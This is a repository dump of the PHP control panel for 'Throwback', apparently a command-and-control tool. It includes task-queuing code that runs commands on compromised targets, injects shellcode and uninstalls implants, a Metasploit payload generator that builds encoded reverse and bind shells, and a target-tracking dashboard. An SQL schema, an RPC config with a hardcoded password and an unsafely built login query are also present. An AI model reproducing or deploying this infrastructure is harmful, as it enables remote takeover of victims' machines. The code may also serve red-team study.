$row[$column]; 707 | } 708 | 709 | return $ret; 710 | } 711 | 712 | public function queryFirstField() { 713 | $args = func_get_args(); 714 | $row = call_user_func_array(array($this, 'queryFirstList'), $args); 715 | if ($row == null) return null; 716 | return $row[0]; 717 | } 718 | 719 | public function queryOneField() { 720 | $args = func_get_args(); 721 | $column = array_shift($args); 722 | 723 | $row = call_user_func_array(array($this, 'queryOneRow'), $args); 724 | if ($row == null) { 725 | return null; 726 | } else if ($column === null) { 727 | $keys = array_keys($row); 728 | $column = $keys[0]; 729 | } 730 | 731 | return $row[$column]; 732 | } 733 | 734 | protected function checkError() { 735 | $db = $this->get(); 736 | if ($db->error) { 737 | $error = $db->error; 738 | $db->rollback(); 739 | return $error; 740 | } 741 | 742 | return false; 743 | } 744 | 745 | public function fetchRow($result = null) { 746 | if ($result === null) $result = $this->queryResult; 747 | if (! ($result instanceof MySQLi_Result)) return null; 748 | return $result->fetch_assoc(); 749 | } 750 | 751 | public function fetchAllRows($result = null) { 752 | $A = array(); 753 | while ($row = $this->fetchRow($result)) { 754 | $A[] = $row; 755 | } 756 | return $A; 757 | } 758 | 759 | public function fetchArray($result = null) { 760 | if ($result === null) $result = $this->queryResult; 761 | if (! ($result instanceof MySQLi_Result)) return null; 762 | return $result->fetch_row(); 763 | } 764 | 765 | public function fetchAllArrays($result = null) { 766 | $A = array(); 767 | while ($row = $this->fetchArray($result)) { 768 | $A[] = $row; 769 | } 770 | return $A; 771 | } 772 | 773 | 774 | } 775 | 776 | class WhereClause { 777 | public $type = 'and'; //AND or OR 778 | public $negate = false; 779 | public $clauses = array(); 780 | public $mdb = null; 781 | 782 | function __construct($type, $mdb=null) { 783 | $type = strtolower($type); 784 | if ($type != 'or' && $type != 'and') DB::nonSQLError('you must use either WhereClause(and) or WhereClause(or)'); 785 | $this->type = $type; 786 | 787 | if ($mdb === null) $this->mdb = DB::getMDB(); 788 | else if ($mdb instanceof MeekroDB) $this->mdb = $mdb; 789 | else DB::nonSQLError('the second argument to new WhereClause() must be an instance of class MeekroDB'); 790 | } 791 | 792 | function add() { 793 | $args = func_get_args(); 794 | if ($args[0] instanceof WhereClause) { 795 | $this->clauses[] = $args[0]; 796 | return $args[0]; 797 | } else { 798 | $r = call_user_func_array(array($this->mdb, 'parseQueryParams'), $args); 799 | $this->clauses[] = $r; 800 | return $r; 801 | } 802 | } 803 | 804 | function negateLast() { 805 | $i = count($this->clauses) - 1; 806 | if (!isset($this->clauses[$i])) return; 807 | 808 | if ($this->clauses[$i] instanceof WhereClause) { 809 | $this->clauses[$i]->negate(); 810 | } else { 811 | $this->clauses[$i] = 'NOT (' . $this->clauses[$i] . ')'; 812 | } 813 | } 814 | 815 | function negate() { 816 | $this->negate = ! $this->negate; 817 | } 818 | 819 | function addClause($type) { 820 | $r = new WhereClause($type); 821 | $this->add($r); 822 | return $r; 823 | } 824 | 825 | function count() { 826 | return count($this->clauses); 827 | } 828 | 829 | function text() { 830 | if (count($this->clauses) == 0) return '(1)'; 831 | 832 | $A = array(); 833 | foreach ($this->clauses as $clause) { 834 | if ($clause instanceof WhereClause) $clause = $clause->text(); 835 | $A[] = '(' . $clause . ')'; 836 | } 837 | 838 | $A = array_unique($A); 839 | if ($this->type == 'and') $A = implode(' AND ', $A); 840 | else $A = implode(' OR ', $A); 841 | 842 | if ($this->negate) $A = '(NOT ' . $A . ')'; 843 | return $A; 844 | } 845 | 846 | function __toString() { return $this->text(); } 847 | } 848 | 849 | class DBTransaction { 850 | private $committed = false; 851 | 852 | function __construct() { 853 | DB::startTransaction(); 854 | } 855 | function __destruct() { 856 | if (! $this->committed) DB::rollback(); 857 | } 858 | function commit() { 859 | DB::commit(); 860 | $this->committed = true; 861 | } 862 | 863 | 864 | } 865 | 866 | class MeekroDBException extends Exception { 867 | protected $query = ''; 868 | 869 | function __construct($message='', $query='') { 870 | parent::__construct($message); 871 | $this->query = $query; 872 | } 873 | 874 | public function getQuery() { return $this->query; } 875 | } 876 | 877 | class DBHelper { 878 | /* 879 | verticalSlice 880 | 1. For an array of assoc rays, return an array of values for a particular key 881 | 2. if $keyfield is given, same as above but use that hash key as the key in new array 882 | */ 883 | 884 | public static function verticalSlice($array, $field, $keyfield = null) { 885 | $array = (array) $array; 886 | 887 | $R = array(); 888 | foreach ($array as $obj) { 889 | if (! array_key_exists($field, $obj)) die("verticalSlice: array doesn't have requested field\n"); 890 | 891 | if ($keyfield) { 892 | if (! array_key_exists($keyfield, $obj)) die("verticalSlice: array doesn't have requested field\n"); 893 | $R[$obj[$keyfield]] = $obj[$field]; 894 | } else { 895 | $R[] = $obj[$field]; 896 | } 897 | } 898 | return $R; 899 | } 900 | 901 | /* 902 | reIndex 903 | For an array of assoc rays, return a new array of assoc rays using a certain field for keys 904 | */ 905 | 906 | public static function reIndex() { 907 | $fields = func_get_args(); 908 | $array = array_shift($fields); 909 | $array = (array) $array; 910 | 911 | $R = array(); 912 | foreach ($array as $obj) { 913 | $target =& $R; 914 | 915 | foreach ($fields as $field) { 916 | if (! array_key_exists($field, $obj)) die("reIndex: array doesn't have requested field\n"); 917 | 918 | $nextkey = $obj[$field]; 919 | $target =& $target[$nextkey]; 920 | } 921 | $target = $obj; 922 | } 923 | return $R; 924 | } 925 | } 926 | 927 | function meekrodb_error_handler($params) { 928 | if (isset($params['query'])) $out[] = "QUERY: " . $params['query']; 929 | if (isset($params['error'])) $out[] = "ERROR: " . $params['error']; 930 | $out[] = ""; 931 | 932 | if (php_sapi_name() == 'cli' && empty($_SERVER['REMOTE_ADDR'])) { 933 | echo implode("\n", $out); 934 | } else { 935 | echo implode("
\n", $out); 936 | } 937 | 938 | die; 939 | } 940 | 941 | function meekrodb_debugmode_handler($params) { 942 | echo "QUERY: " . $params['query'] . " [" . $params['runtime'] . " ms]"; 943 | if (php_sapi_name() == 'cli' && empty($_SERVER['REMOTE_ADDR'])) { 944 | echo "\n"; 945 | } else { 946 | echo "
\n"; 947 | } 948 | } 949 | 950 | class MeekroDBEval { 951 | public $text = ''; 952 | 953 | function __construct($text) { 954 | $this->text = $text; 955 | } 956 | } 957 | 958 | ?> 959 | -------------------------------------------------------------------------------- /cp/includes/phpdebug.php: -------------------------------------------------------------------------------- 1 | '; 46 | error_reporting(E_ALL); 47 | ini_set('display_errors', True); 48 | } 49 | } 50 | 51 | // ************ Setting display_errors() ************ // 52 | display_errors($display_errors); 53 | 54 | // ************ debug() ************ // 55 | function debug($msg, $verbose = 1) 56 | { 57 | if($verbose == 1) 58 | { 59 | //echo '
';
60 | 	echo '[V] ' . $msg;
61 | 	//echo '
'; 62 | echo '
'; 63 | } 64 | } 65 | 66 | // ************ debug_r() ************ // 67 | function debug_r($msg, $verbose = 1) 68 | { 69 | if($verbose == 1) 70 | { 71 | //echo '
';
72 | 	echo '[V] ';
73 | 	print_r($msg);
74 | 	//echo '
'; 75 | echo '
'; 76 | } 77 | } 78 | 79 | ?> -------------------------------------------------------------------------------- /cp/index.php: -------------------------------------------------------------------------------- 1 | 7 | 8 | 9 | 10 | Control Panel 11 | 12 | 13 | 14 | 39 |
40 |
41 | 42 |
43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 76 | 77 | 80 | 81 | 84 | 85 | 88 | 91 | 92 |
ActionCommandArgumentsRun As
55 | 75 | 78 | 79 | 82 | 83 | 86 | 87 | 89 |
90 |
93 | 94 |
95 | 96 | 97 |
98 | 99 | 100 | 104 | 105 | 108 |
109 |
110 |

 

Current time is " . date("M j, Y g:i a", time()) . "."; ?> 111 |
112 |
113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | "; //style='background-color: gray'>"; 139 | else print ""; 140 | } 141 | else print ""; 142 | ?> 143 | 160 | 161 | 162 | 163 | 164 | 165 | 169 | 170 | "; 174 | } 175 | else { 176 | print "

No Targets! Get to work!

"; 177 | } 178 | ?> 179 | 180 | 181 | 182 | 183 | 465 | 466 | 467 | 468 | 475 | 476 | 483 | 484 | '; 30 | } 31 | } 32 | ?> 33 | 34 | 35 | 36 | Throwback Control Panel 37 | 38 | 39 | 40 | 41 | 57 | 58 |
59 |
60 | 61 |

Username:

62 |

Password:

63 |

64 | 65 | $ipaddress, 'date' => $date, 'referrer' => $ref)); 77 | ?> 78 | 79 |
80 | 81 | 82 | -------------------------------------------------------------------------------- /cp/logout.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /cp/maintenance.php: -------------------------------------------------------------------------------- 1 | 1) { 24 | //print_r($_POST); 25 | // this is needed to handle traget rename on page 26 | if (!empty($_POST['pk'])) { 27 | $_POST['type'] = 20; //Changed from 2 to allow for type=2 in scheduled/queued options 28 | $_POST['target'] = $_POST['pk']; 29 | $_POST['command'] = $_POST['value']; 30 | } 31 | 32 | $type = $_POST['type']; 33 | $targets = explode(';', trim($_POST['target'], ';')); 34 | 35 | if (!empty($_POST['command'])) 36 | $command = $_POST['command']; 37 | else 38 | $command = ''; 39 | 40 | if (!empty($_POST['arguments'])) 41 | $arguments = $_POST['arguments']; 42 | else 43 | $arguments = ''; 44 | if ($type == 7) 45 | $command = 'Uninstall'; 46 | 47 | //DO ERROR CHECKING 48 | if (empty($type)) 49 | $error = 1; 50 | if (empty($command)) 51 | $error = 1; 52 | if (empty($targets) or ! (is_array($targets) and $targets[0] != '')) 53 | $error = 1; 54 | 55 | if ($type == 0) 56 | $error = 1; 57 | 58 | if (($type == 6 && $arguments == '') || $type == 6 && empty($arguments)) 59 | $error = 1; 60 | 61 | //INJECT SHELLCODE BUT INVALID PID IS SPECIFIED 62 | if ($type == 9 && empty($arguments)) 63 | $error = 1; 64 | 65 | //RESET TYPE TO 1 CUZ THESE ARE ACTUALLY JUST RUNNING AN EXE (CMD.EXE) - WHICH IS #1 66 | if ($type > 10 && $type < 20) 67 | $type = 1; 68 | 69 | if (isset($_POST['runas'])) 70 | $runas = 1; 71 | else 72 | $runas = 0; 73 | 74 | foreach ($targets as $target) { 75 | if ($error != 1) { 76 | //Maintenace VS Scheduling - For notification messages consistency 77 | $category = 'maintenance'; 78 | 79 | $target = trim($target); 80 | $command = trim($command); 81 | $arguments = trim($arguments); 82 | 83 | //GENERATE RANDOM KEY - USED AS PRIMARY KEY TO ASSOCIATE THIS SPECIFIC TASK WITH SPECIFIC TARGET 84 | $key = base64_encode(genString(10)); 85 | $opentime = time(); 86 | 87 | //UPDATE CB PERIOD 88 | if ($type == 5) { 89 | //ADD TASK TO QUEUE 90 | $opentime = time(); 91 | DB::insert('tasks', array('type' => '5', 'id' => $target, 'command' => $command, 'arguments' => '', 'key' => $key, 'status' => '0', 'results' => '', 'opentime' => $opentime, 'closetime' => '')); 92 | } 93 | //UPDATE PROJECT NAME 94 | else if ($type == 20) { 95 | DB::update('parameters', array('name' => $command), '`id`=%s', $target); 96 | } 97 | //UPGRADE 98 | else if ($type == 6) { 99 | //ADD TASK TO QUEUE 100 | $opentime = time(); 101 | DB::insert('tasks', array('type' => '6', 'id' => $target, 'command' => $command, 'arguments' => $arguments, 'key' => $key, 'status' => '0', 'results' => '', 'opentime' => $opentime, 'closetime' => '')); 102 | } 103 | //UNINSTALL 104 | else if ($type == 7) { 105 | //ADD TASK TO QUEUE 106 | $opentime = time(); 107 | DB::insert('tasks', array('type' => '7', 'id' => $target, 'command' => $command, 'arguments' => '', 'key' => $key, 'status' => '0', 'results' => '', 'opentime' => $opentime, 'closetime' => '')); 108 | } 109 | //QUEUED TASK 110 | else { 111 | //INSERT THE NEW TASK INTO THE DB 112 | //STATUS STARTS AT 0, GOES TO 1 AFTER IT IS SENT, THEN TO 2 AFTER THE RESULT IS RETURNED 113 | $sql = DB::insert('tasks', array('type' => $type, 'id' => $target, 'command' => $command, 'arguments' => $arguments, 'runas' => $runas, 'key' => $key, 'status' => '0', 'results' => '', 'opentime' => $opentime, 'closetime' => '')); 114 | $category = 'schedule'; 115 | } 116 | 117 | 118 | if (DB::affectedRows() != 0) { 119 | //print "

Target Updated!

"; 120 | if ($category == 'maintenance') 121 | print "

Target " . $target . " updated!

"; 122 | else 123 | print "

Task has been queued for " . $target . "!

"; 124 | } 125 | else { 126 | //print "

An error occurred updating the target!

"; 127 | if ($category == 'maintenance') 128 | print "

An error occurred updating the target!

"; 129 | else 130 | print "

An error occurred queuing the task!

"; 131 | } 132 | } 133 | else { 134 | //print "

An error occurred. Check your inputs!

"; 135 | print "

An error occurred. Check the command and try again!

"; 136 | exit; 137 | } 138 | } 139 | } 140 | 141 | ob_flush(); 142 | ?> 143 | -------------------------------------------------------------------------------- /cp/metcreator.php: -------------------------------------------------------------------------------- 1 | Filename $filename already exists. Please choose a different filename and try again.

"; 81 | } 82 | else 83 | { 84 | //DLL 85 | if($type == 1) 86 | { 87 | $output = "dll"; 88 | if($payload < 6) $encoder = "x86/countdown"; 89 | else $encoder = "x64/xor"; 90 | } 91 | //EXE 92 | elseif($type == 2) 93 | { 94 | $output = "exe"; 95 | if($payload < 6) $encoder = "x86/shikata_ga_nai"; 96 | else $encoder = "x64/xor"; 97 | } 98 | //RAW 99 | elseif($type == 3) 100 | { 101 | $output = "raw"; 102 | if($payload < 6) $encoder = "x86/countdown"; 103 | else $encoder = "x64/xor"; 104 | } 105 | else 106 | { 107 | print "

An error occurred. Check your inputs!

"; 108 | } 109 | 110 | $created = use_payload($METASPLOIT, $MSFUSERNAME, $MSFPASSWORD, $payloadtype, $output, $ipaddress, $port, $ipaddress, $port, $encoder, $filename); 111 | 112 | if($created == true) 113 | { 114 | print "

Payload creation complete and It can be downloaded from the "; ?> $OUTPUTDIR Meterpreter handler commands are below.

"; 115 | print "
$msfrc
"; 116 | } 117 | else 118 | { 119 | print "

Failed to create payload! Please try again.

"; 120 | } 121 | print "

"; 122 | 123 | /** 124 | 125 | 126 | //OUTPUT TYPE IS DLL 127 | if ($type == 1) { 128 | //FILE OUTPUT TYPE 129 | $output = 'dll'; 130 | 131 | //SET ENCODER FOR x64 OR x86 132 | if ($payload == 6 || $payload == 7) 133 | $msfencode = $MSFENCODE . " -t " . $output . " -e x64/xor -o " . $OUTPUTDIR . $filename; 134 | else 135 | $msfencode = $MSFENCODE . " -t " . $output . " -e x86/countdown -o " . $OUTPUTDIR . $filename; 136 | 137 | //CREATE COMMAND FOR REVERSE SHELL 138 | if ($payload == 1 || $payload == 2 || $payload == 3 || $payload == 4 || $payload == 6) { 139 | $command = $MSFPAYLOAD . ' ' . $payloadtype . ' LHOST=' . $ipaddress . ' LPORT=' . $port . ' R | ' . $msfencode; 140 | } 141 | ////CREATE COMMAND FOR BIND SHELL 142 | elseif ($payload = 5 || $payload == 7) { 143 | $command = $MSFPAYLOAD . ' ' . $payloadtype . ' LPORT=' . $port . ' R | ' . $msfencode; 144 | } 145 | } 146 | //OUTPUT TYPE IS EXE 147 | elseif ($type == 2) { 148 | //FILE OUTPUT TYPE 149 | $output = 'exe'; 150 | 151 | //SET ENCODER FOR x64 OR x86 152 | if ($payload == 6 || $payload == 7) 153 | $msfencode = $MSFENCODE . " -t " . $output . " -e x64/xor -o " . $OUTPUTDIR . $filename; 154 | else 155 | $msfencode = $MSFENCODE . " -t " . $output . " -e x86/shikata_ga_nai -o " . $OUTPUTDIR . $filename; 156 | 157 | //CREATE COMMAND FOR BIND OR REVERSE 158 | if ($payload == 1 || $payload == 2 || $payload == 3 || $payload == 4 || $payload == 6) { 159 | $command = $MSFPAYLOAD . ' ' . $payloadtype . ' LHOST=' . $ipaddress . ' LPORT=' . $port . ' R | ' . $msfencode; 160 | } elseif ($payload = 5 || $payload == 7) { 161 | $command = $MSFPAYLOAD . ' ' . $payloadtype . ' LPORT=' . $port . ' R | ' . $msfencode; 162 | } 163 | } 164 | //OUTPUT TYPE IS RAW TO HTML FILE 165 | elseif ($type == 3) { 166 | //FILE OUTPUT TYPE 167 | $output = 'raw'; 168 | 169 | //SET ENCODER FOR x64 OR x86 170 | //if($payload == 6 || $payload == 7) $msfencode = $MSFENCODE . " -t " . $output . " -e x64/xor -o " . $OUTPUTDIR . $filename; 171 | //else $msfencode = $MSFENCODE . " -t " . $output . " -e x86/countdown -b '\\x00\\xff' -o " . $OUTPUTDIR . $filename; 172 | if ($payload == 6 || $payload == 7) 173 | $msfencode = $MSFENCODE . " -t " . $output . " -e x64/xor "; 174 | else 175 | $msfencode = $MSFENCODE . " -t " . $output . " -e x86/fnstenv_mov -b '\\x00\\xff' "; 176 | 177 | //CREATE COMMAND FOR BIND OR REVERSE 178 | if ($payload == 1 || $payload == 2 || $payload == 3 || $payload == 4 || $payload == 6) { 179 | $command = $MSFPAYLOAD . ' ' . $payloadtype . ' LHOST=' . $ipaddress . ' LPORT=' . $port . ' EXITFUNC=thread R | ' . $msfencode . "| /usr/bin/base64 -w 0 > " . $OUTPUTDIR . $filename; 180 | } elseif ($payload = 5 || $payload == 7) { 181 | $command = $MSFPAYLOAD . ' ' . $payloadtype . ' LPORT=' . $port . ' EXITFUNC=thread R | ' . $msfencode . "| /usr/bin/base64 -w 0 > " . $OUTPUTDIR . $filename; 182 | } 183 | } else { 184 | print "

An error occurred. Check your inputs!

"; 185 | } 186 | 187 | //$output = shell_exec($command); 188 | 189 | print "

Payload has been created!

"; 190 | 191 | 192 | //print "

Executed $command

"; 193 | **/ 194 | } 195 | } else { 196 | print "

An error occurred. Check your inputs!

"; 197 | } 198 | exit; 199 | } 200 | ?> 201 | 202 | 207 | 208 |
StatusVersionIP AddressTarget NameCallback PeriodLast CallbackActions
144 | '; 149 | else 150 | print ''; 151 | 152 | //PRINT ICON FOR PROXY OR NOT 153 | 154 | if ($row['proxyenabled'] == 1) 155 | print ''; 156 | else 157 | print ''; 158 | ?> 159 | minutes 166 | History 167 | Radar 168 |
292 | 293 | 294 | 295 | 296 | 297 | 298 | 299 | 300 | 308 | 309 | 322 | 323 | 326 | 327 | 330 | 331 | 334 |
TypePayloadFilenameIP AddressPort
301 | 307 | 310 | 321 | 324 | 325 | 328 | 329 | 332 | 333 |
335 |
336 | 337 |
338 |
339 | 343 |
344 | 345 | 348 | -------------------------------------------------------------------------------- /cp/radar.php: -------------------------------------------------------------------------------- 1 | 17 | 21 | 79 | -------------------------------------------------------------------------------- /cp/verify.php: -------------------------------------------------------------------------------- 1 | real_escape_string($_POST['username']) . "' AND `password` = '" . sha1($mysqli->real_escape_string($_POST['password'])) . "'"; 14 | $result = $mysqli->query($sql); 15 | $row1 = $result->fetch_row(); 16 | 17 | if(sha1($mysqli->real_escape_string($_POST['password'])) == $row1[1]) 18 | //if($result->num_rows == 1) 19 | { 20 | //close result 21 | $result->close(); 22 | 23 | //set session variables 24 | $_SESSION["username"] = $_POST["username"]; 25 | $_SESSION["loggedin"] = true; 26 | 27 | //update table with most recent login time 28 | $sql = "UPDATE users SET lastlogin = '" . time() . "' WHERE username = '" . $_SESSION['username'] . "'"; 29 | $result = $mysqli->query($sql); 30 | //$result = mysql_query($sql); 31 | 32 | if(!$result) 33 | { 34 | print 'Error updating user login information.'; 35 | } 36 | //else $result->close(); 37 | 38 | //redirect to main page after login 39 | header('Location: ./index.php'); 40 | } 41 | else 42 | { 43 | $result->close(); 44 | header('Location: ./login.php?error=true'); 45 | } 46 | } 47 | else 48 | { 49 | header('Location: ./login.php?error=true'); 50 | } 51 | 52 | include('./includes/dbclose.php'); 53 | ob_flush(); 54 | ?> 55 | -------------------------------------------------------------------------------- /msgrpcd.rc: -------------------------------------------------------------------------------- 1 | load msgrpc ServerHost=192.168.20.133 Pass=abc123 2 | -------------------------------------------------------------------------------- /throwbackcp.sql: -------------------------------------------------------------------------------- 1 | -- phpMyAdmin SQL Dump 2 | -- version 4.0.10deb1 3 | -- http://www.phpmyadmin.net 4 | -- 5 | -- Host: localhost 6 | -- Generation Time: Aug 01, 2014 at 12:02 AM 7 | -- Server version: 5.5.38-0ubuntu0.14.04.1 8 | -- PHP Version: 5.5.9-1ubuntu4.3 9 | 10 | SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; 11 | SET time_zone = "+00:00"; 12 | 13 | 14 | /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; 15 | /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; 16 | /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; 17 | /*!40101 SET NAMES utf8 */; 18 | 19 | -- 20 | -- Database: `throwbackcp` 21 | -- 22 | CREATE DATABASE IF NOT EXISTS `throwbackcp` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci; 23 | USE `throwbackcp`; 24 | 25 | -- -------------------------------------------------------- 26 | 27 | -- 28 | -- Table structure for table `access` 29 | -- 30 | 31 | CREATE TABLE IF NOT EXISTS `access` ( 32 | `ipaddress` varchar(50) NOT NULL, 33 | `date` varchar(50) NOT NULL, 34 | `referrer` varchar(100) NOT NULL 35 | ) ENGINE=MyISAM DEFAULT CHARSET=utf8; 36 | 37 | -- -------------------------------------------------------- 38 | 39 | -- 40 | -- Table structure for table `parameters` 41 | -- 42 | 43 | CREATE TABLE IF NOT EXISTS `parameters` ( 44 | `id` varchar(255) NOT NULL, 45 | `cbperiod` varchar(50) NOT NULL, 46 | `lastupdate` varchar(50) NOT NULL, 47 | `name` varchar(255) NOT NULL, 48 | `hostname` varchar(255) NOT NULL, 49 | `privileges` varchar(25) NOT NULL DEFAULT '1', 50 | `version` varchar(25) NOT NULL DEFAULT '0', 51 | `ipaddress` varchar(50) NOT NULL, 52 | `proxyenabled` varchar(25) NOT NULL, 53 | PRIMARY KEY (`id`) 54 | ) ENGINE=MyISAM DEFAULT CHARSET=utf8; 55 | 56 | -- -------------------------------------------------------- 57 | 58 | -- 59 | -- Table structure for table `targets` 60 | -- 61 | 62 | CREATE TABLE IF NOT EXISTS `targets` ( 63 | `id` varchar(255) NOT NULL, 64 | `externalip` varchar(50) NOT NULL, 65 | `hostname` varchar(255) NOT NULL, 66 | `lastupdate` varchar(50) NOT NULL 67 | ) ENGINE=MyISAM DEFAULT CHARSET=utf8; 68 | 69 | -- -------------------------------------------------------- 70 | 71 | -- 72 | -- Table structure for table `tasks` 73 | -- 74 | 75 | CREATE TABLE IF NOT EXISTS `tasks` ( 76 | `type` varchar(10) NOT NULL, 77 | `id` varchar(255) NOT NULL, 78 | `command` varchar(500) NOT NULL, 79 | `arguments` varchar(500) NOT NULL, 80 | `runas` varchar(25) NOT NULL, 81 | `key` varchar(50) NOT NULL, 82 | `status` varchar(25) NOT NULL, 83 | `results` mediumtext NOT NULL, 84 | `opentime` varchar(50) NOT NULL, 85 | `closetime` varchar(50) NOT NULL 86 | ) ENGINE=MyISAM DEFAULT CHARSET=utf8; 87 | 88 | -- -------------------------------------------------------- 89 | 90 | -- 91 | -- Table structure for table `users` 92 | -- 93 | 94 | CREATE TABLE IF NOT EXISTS `users` ( 95 | `id` int(11) NOT NULL AUTO_INCREMENT, 96 | `username` varchar(255) NOT NULL, 97 | `password` varchar(255) NOT NULL, 98 | `lastlogin` varchar(255) NOT NULL, 99 | PRIMARY KEY (`id`) 100 | ) ENGINE=MyISAM DEFAULT CHARSET=utf8; 101 | --------------------------------------------------------------------------------